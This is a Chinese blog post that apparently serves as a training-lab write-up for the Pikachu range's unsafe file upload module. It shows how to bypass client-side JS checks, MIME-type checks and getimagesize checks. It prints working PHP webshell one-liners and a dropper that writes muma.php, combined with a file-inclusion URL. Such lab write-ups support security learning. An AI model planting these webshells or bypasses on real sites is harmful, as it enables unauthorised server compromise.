Unsafe Fileupload(不安全的文件上传)之 pikachu 靶场练习

Unsafe Fileupload(不安全的文件上传)

上一篇我们对文件上传漏洞的一些知识进行了基本的了解:文件上传漏洞学习

接下来通过 piakchu 靶场的 Unsafe Fileupload 模块对几种不安全的文件上传漏洞进行测试。

刚开始测试的时候这边一直无法上传文件,一点击开始上传就出现 warning 警告。
之后通过关闭 win10 安全中心的实时保护解决了问题。
可能是由于文件里的一句话木马让 win10 给自动查杀了。

client check

客户端校验,不会在后端校验。
打开页面显示只允许上传图片。
在这里插入图片描述
尝试随便上传一个东西,会出现弹窗显示不符合要求。
在这里插入图片描述
根据显示弹窗可以判断是前端的 JS验证,F12 打开源代码可以看到这段 JavaScript 代码。
在这里插入图片描述
前端的验证可以直接绕过,这里直接把这里直接删除,不让前端检测。
在这里插入图片描述
删除之后就可以上传了,得到文件的路径。
上传文件:11.php
文件内容为一句话木马:

<?php @eval($_POST['aa']) ?>

在这里插入图片描述

接下来可以构造我们的 url :

http://192.168.1.5/pikachu/vul/unsafeupload/uploads/11.php

IP为靶场所在机器的IP。
路径这里需要注意,不能直接复制,因为文件保存的位置不在此模块的 clientcheck 下,而是在 uploads 文件里。
在这里插入图片描述


在这里插入图片描述
可以使用蚁剑进行连接,或者达到其他目的。
在这里插入图片描述

MIME tupe

MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)
是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

$_FILES()函数 从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的。

尝试随便上传一个文件,回显出限制上传的文件格式。
在这里插入图片描述
这里上传一个 .php 格式的文件,Content-Type 的值是 application/octet-stream。
如果上传一个图片,Content-Type 的值是 image/jpeg 。
在这里插入图片描述
然后可以直接在抓到的数据包上修改 Content-Type 的值。
可以注意到这里有两个Content-Type,一开始我一直改第一个,结果一直无效。
在这里插入图片描述
正确的是修改第二个 Content-Type 的值,点击 Forward 文件就成功上传,得到文件路径。
在这里插入图片描述

getimagesize

这是一个PHP函数getimagesize() 能够识别图片文件信息 ,如果不是图片函数获取不到信息,文件就不允许上传。

随便上传一个文件,可以看到没有作用。
在这里插入图片描述
这里需要制作图片一句话木马。
准备:随便一张图片,两个 txt 文件,编辑完后在修改文件后缀 .php 和 .bat
在这里插入图片描述
.php 文件中的内容是一句话木马。
在这里插入图片描述
.bat 文件中的内容是 cmd 即可。
在这里插入图片描述
然后打开 a.bat ,就是一个命令指示符。
输入copy 22.png/b+11.php 123.jpg 之后回车即可。
后面的123.jpg 就是自己命名的一个图片文件。
在这里插入图片描述
可以看到在此文件夹中已经生成了这个文件,即为图片一句话木马。
在这里插入图片描述
其实原理就是把 .php 中的内容写进图片文件中,用 notepad++ 或者记事本就可以查看到。
在这里插入图片描述
网上有些教程在上传文件之前要在靶场根目录的 getimagesize.php文件插入时区函数:
date_default_timezone_set(“PRC”);
就是让文件上传的路径上有上传时间,不过我在没加上的时候似乎也是没什么问题,具体作用对于刚学习的我还不太清楚。。

接下来就可以直接上传这个图片一句话木马文件了,得到文件路径。
在这里插入图片描述
这个时候文件路径是没有问题的,可以通过浏览器访问到图片,但是我们在图片里面写的一句话代码无法用起来。
即图片木马无法被PHP脚本解析,蚁剑、菜刀啥的连接不上。

可以结合前面做过的文件包含漏洞模块,让蚁剑连接上。

按照上面的方法重新写一个图片木马,.php文件里的内容改为:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST['aa']);?>'); ?>

把新制作好文件进行上传,能够得到文件路径,文件就放在靶场根目录上了。
此时模仿文件上传漏洞模块的 url,构造出以下 url:

http://192.168.1.5/pikachu/vul/fileinclude/fi_local.phpfilename=file:///E:\phpstudy_pro\WWW\pikachu\vul\unsafeupload\uploads\2021\02\10\9656226023f423461f0207493878.jpg

在这里插入图片描述
访问构造的 url 链接,应该会在文件包含漏洞的根目录下生成一个 mum.php 文件,再用蚁剑连接就可以成功了。
不过我在自己机器上又遇到了权限问题。。。。。。。。。难
方法应该是可以这么做,暂时无法测试。
在这里插入图片描述

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值